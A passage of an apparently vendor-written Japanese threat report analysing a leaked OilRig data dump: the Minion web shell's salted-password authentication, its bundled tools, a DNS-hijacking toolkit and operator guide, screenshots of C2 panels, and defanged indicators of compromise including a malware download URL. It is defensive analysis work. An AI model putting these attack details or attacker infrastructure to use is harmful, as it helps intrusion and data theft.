[IPアドレス]\c$\Users\[ユーザー名]\Downloads

ネットワーク ダウンローダー機能は、これらのフォルダに存在するすべてのファイルを収集して、7-Zipを使用してファイルを圧縮し、アーカイブします。Webシェルは、これらのアーカイブにそれぞれ次の構造を持つ名前を付けて、サーバーのC:\Users\Public\Libraries\Recorded\Filesフォルダにローカルに保存します。

[IPアドレス]_c$_Users_[ユーザー名]__[Desktop-Documents-Downloads]_[年]-[月]-[日]-[時]-[分]-[秒].7z

脅威の攻撃者はこの機能を使用して、ユーザーがネットワーク上で作成した新しいファイルを短時間でチェックしていると思われます。

Minion

Minionは、HighShellに関係があるもう1つのWebシェルのようです。なぜなら、同様の機能を備え、大量のコードが重複しているからです。弊社では、Minionのログイン機能から判断して、MinionとHyperShellの開発には同じ存在が関わっていたと信じています。攻撃者がMinionを使用するには、このWebシェルを使用する前にadminのユーザー名とパスワードを入力して認証を行う必要があります。認証のために、パスワードにソルト値として文字列「O%tG7Hz57kvWk35$D*)s$1l$pUpLnBw)apHR!xYZWZu7X#^w7$mCArmQMAa&sRBG」を付加します。Webシェルは、パスワードにソルト値を付加した文字列のSHA256ハッシュを生成し、それをBase64エンコードした文字列を、ハードコードされた文字列「m6m8CCWa/u820mie8bX3HKIx1+WQkB+lbmniyXWKB+8=」と比較します。認証に成功するには、パスワードにソルト値を付加した文字列のSHA256ハッシュが「9ba9bc08259afeef36d2689ef1b5f71ca231d7e590901fa56e69e2c9758a07ef」になる必要があります。このプロセスは、HyperShell内で認証/復号するために実行されるプロセスとまったく同じです。

HighShellのバージョン8.6.2とほぼ同様に、MinionにはWebシェルの機能を拡張するモジュールが含まれています。表6は、Minionに含まれる各モジュールを示しています。このうち3つは、HighShellに見られるファイルとまったく同じです。Minionにはこの他に、Hobocopy、さらにポート スキャニングとスクリーンショットを行うTardigradeという名前のツールが含まれています。

ファイル名 SHA256 説明
7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229 7-Zip 17.01 beta
hb.exe 3ca3a957c526eaeabcf17b0b2cd345c0fffab549adfdf04470b6983b87f7ec62 Hobocopy
nbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35
rx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e IntelliAdmin Remote Execute v1.0
tardigrade.exe fe1b011fe089969d960d2dce2a61020725a02e15dbc812ee6b6ecc6a98875392 Tardigradeアプリケーション。ポート スキャニング、スクリーンショット、および「net use」によるリモート システム接続を実行できます。

表6:Minion Webシェルの付属モジュール

DNSハイジャック スクリプト

2018年11月に、Cisco Talosは、DNSpionageという名前の攻撃キャンペーンについての調査結果を公開しました。この調査結果では、マルウェアを使用して個々のエンドポイントを侵害する攻撃について報告していますが、最も興味深いのは、政府組織のDNSエントリをハイジャックして、訪問者をおそらく悪意のある、攻撃者が運営しているシステムにリダイレクトする活動について説明していることです。このDNSハイジャック活動については、さらにFireEyeCrowdstrikeの両者がそれぞれの評価を公開し、2017年1月までさかのぼって活動を説明しています。標的範囲は主に中東であり、攻撃者もおそらくその地域から活動しているということ以外は、既知の攻撃者グループとの関連性については何も記述されていませんでした。

このデータ ダンプに含まれるwebmaskと呼ばれるツールは、特にDNSハイジャックの実行を目的とする一連のスクリプトと思われます。guide.txtというタイトルの説明ドキュメント(図16を参照)が付属しており、そこには提供されるツールを利用してDNSハイジャック攻撃を実行する手順がオペレーター向けに記載されています。手順ガイドと提供されている各ツールから判断する限り、このパッケージは、FireEyEがこれらの攻撃の実行方法についての調査結果で示している方法論、たとえばプロキシ パススルー(この場合、具体的にはSquid)を利用したICAPの使用、certbotを使用したLet's Encrypt SSL証明書の作成などの固有の詳細情報に一致しているように思われます。

図16:guide.txtに記載されているDNSハイジャック攻撃の実行手順

guide.txtのある部分では、リダイレクト先の正当なドメインに対応する攻撃者のIP (185.162.235[.]106)を示すことによって、標的例を提供しているようです。このIPを分析すると、以前確認したOilRigインフラストラクチャとの関連を疑わせる、複数の興味深いデータ ポイントが得られます。ホスティング プロバイダを調査したところ、このIPはイランのホスティング プロバイダであるNovinVPSに関連付けられています。このIPの自律システム名は、Serverius Holding B.V.がその割り当てを管理していることを示していますが、これは弊社が以前OilRigグループに関連付けられていることを確認した自律システム名です。実際、クラスCのIPブロックである185.162.235[.]0/24を調査すると、弊社が以前OilRigグループがC2サーバーに使用していることを確認したIPが他に少なくとも2つ存在することがわかります。具体的には、185.162.235[.]29(ドメインはoffice365-management[.]com)と185.162.235[.]121(ドメインはmsoffice-cdn[.]com)です。office365-management[.]comは、ISMInjectorバックドアを配信するOilRig活動で使用するC2サーバーとして、2017年10月に初めて確認されました。2018年2月の後半に、弊社は、WHOIS登録者アーティファクトの再利用、共有されているSSL証明書、および共有されているクラスC IPブロックを特定することで、インフラストラクチャ全体のブロック構造を、OopsIEバックドアを配信する別の攻撃のものと関連付けることができました。図17は、DNSハイジャックの関連ファイルと、OilRigと関係がある既知のインフラストラクチャの間の関係を示しています。

図17:DNSハイジャックのファイルとOilRigのインフラストラクチャの関係

DNSpionage活動は間違いなくOilRigグループによって実行されたと断定することはできませんが、提供されたデータから判断して、両者の間に一定レベルの関係が存在する可能性はあります。

スクリーンショット

データ ダンプには、リークした人物がOilRigグループと関連があると主張しているリソースのさまざまなスクリーンショットが含まれています。これらのスクリーンショットには、Glimpseパネルを表示しているリモート デスクトップ(RDP)セッション、Scarecrowと呼ばれるC2パネルを表示しているWebブラウザ セッション、VPS管理パネルに接続しているWebブラウザ セッション、およびOilRigサーバーに対する潜在的な破壊攻撃の証拠を示すスクリーンショットが含まれていました。

図18のスクリーンショットは、未知のバックドアのC2パネルであると思われます。唯一判明しているScarecrowという名前は、これまでに観測したことも、OilRigと関連付けたこともありません。このサーバーは142.234.157[.]21でホストされていますが、ホストしているのはLeaseWebのようです。ファイル名とサーバー パネルのリアルタイム スナップショットとの間に一貫性があると仮定した場合、2019年3月29日の時点で複数のシステムで活発に侵害活動が行われていたことを示します。

図18:リークされたデータに含まれるScarecrowパネルのスクリーンショット

図19は、イランの仮想ホスティング プロバイダであるBerbid Serverに対する管理パネルを示しています。インフラストラクチャの他の詳細情報は表示されていません。

図19:リークされたデータに含まれるホスティング プロバイダであるBerbid Serverの管理パネルのスクリーンショット

次のスクリーンショットでは、DeltaHostのVPSアカウントの管理パネルに4つの仮想サーバーが表示されています(図20を参照)。表示されている仮想サーバーの中の1つは、IPアドレス193.111.152[.]13でホストされ、このコントロール パネルがアクセスされたと思われる時点で194日間稼働していました(図20の赤枠で囲んだ部分を参照)。

図20:リークされたデータに含まれるDeltaHostのアカウントの管理パネルのスクリーンショット

このスクリーンショットのファイル名から、これが2019年3月29日に撮影されたと仮定して、その日付から194日を差し引くと、このサーバーは遅くとも2018年9月16日から運用されている可能性があります。弊社は、2018年9月24日に、OilRigが次のURLからZipアーカイブをダウンロードしようとして標的にした組織を観測しています。

hxxp://193.111.152[.]13/[redacted]-ITsoftwareUpdate.zip

このZipアーカイブには、[redacted]-ITsoftwareUpdate.exe (SHA256:5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336)という名前のファイルが含まれていました。これは、弊社が2018年9月に公開したブログ記事で詳しく説明したトロイの木馬OopsIEの亜種です。このことは、VPSコントロール パネルで表示されているサーバーを、OilRig脅威攻撃者が攻撃の際に実際に使用していた可能性があることを示唆しています。さらに、このパネルに表示されている他のIPのうち、185.161.209[.]57と185.161.210[.]25の2つは、DNSpionageキャンペーンの関連IPである185.161.211[.]72と同じ185.161.208[.]0/22の範囲内にあります。これは、関係があると言えるほどのものではなく、OilRigグループがDNSpionageキャンペーンを実行していたことを示すわけではありませんが、DeltaHostを使用していることとIPがかなり狭い範囲に属していることを組み合わせると、ある程度の関係があると信じるだけの理由になる可能性があります。

図21は、GlimpseのC2サーバー パネルのスクリーンショットです。Glimpseは、弊社ではBONDUPDATERという名前で追跡しています。このスクリーンショットは、画面上端のタブで示されるようにRDPセッションによって取得したものであり、OVHがホストしている164.132.67[.]216にあります。ここでもファイル名で示される時刻が正確であると仮定した場合、侵害されたシステムのチェックインは、71日前から行われていないことを示します。

図21:リークされたデータに含まれるGlimpse C2が稼働するサーバーとのRDPセッションのスクリーンショット

結論

このデータ ダンプは、攻撃者の攻撃の舞台裏で行われている活動に関する、希少で独特な観点を提供しています。このデータセットで提供されるバックドアやWebシェルと以前調査したOilRegツールセットが一致していることは確認できますが、一般的にデータセット全体の起源を確認することはできませんし、データが何らかの方法で操作されていないことを肯定も否定もできないことを理解することが重要です。このデータ ダンプが実際に密告者から発信されたものである可能性は確かにありますが、それはサードパーティがこのデータを抽出できた可能性と同程度です。ただし、データ ダンプ全体を調べると、標的の選び方やTTPは、これまで弊社が一般にOilRigに関連付けてきた動作に一致します。OilRig脅威グループの攻撃は、一般には主に中東で行われていると想定されていますが、このダンプのデータが正確であると仮定すると、攻撃はグローバルに行われていることも示しています。OilRigが潜在的に影響を及ぼしている組織や侵害している組織の地域と業界が異なることは、地域や業界に関係なく、組織が常に敵の状況に注目し続ける必要があり、あらゆる攻撃を防御するために準備する必要がある理由を示すのに最適な例です。

侵害のインジケーター

ドメイン
  • Myleftheart[.]com
  • office365-management[.]com
  • msoffice-cdn[.]com
Poison Frog PS1 ファイル
  • 27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed
  • 995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd999
  • 0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea330436c
IPs
  • 185.36.191[.]31
  • 185.161.209[.]57
  • 185.161.210[.]25
  • 164.132.67[.]216
  • 212.32.226[.]245
  • 142.234.157[.]21
  • 193.111.152[.]13
  • 185.162.235[.]106
  • 185.162.235[.]29
  • 185.162.235[.]121
OopsIE payload

5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336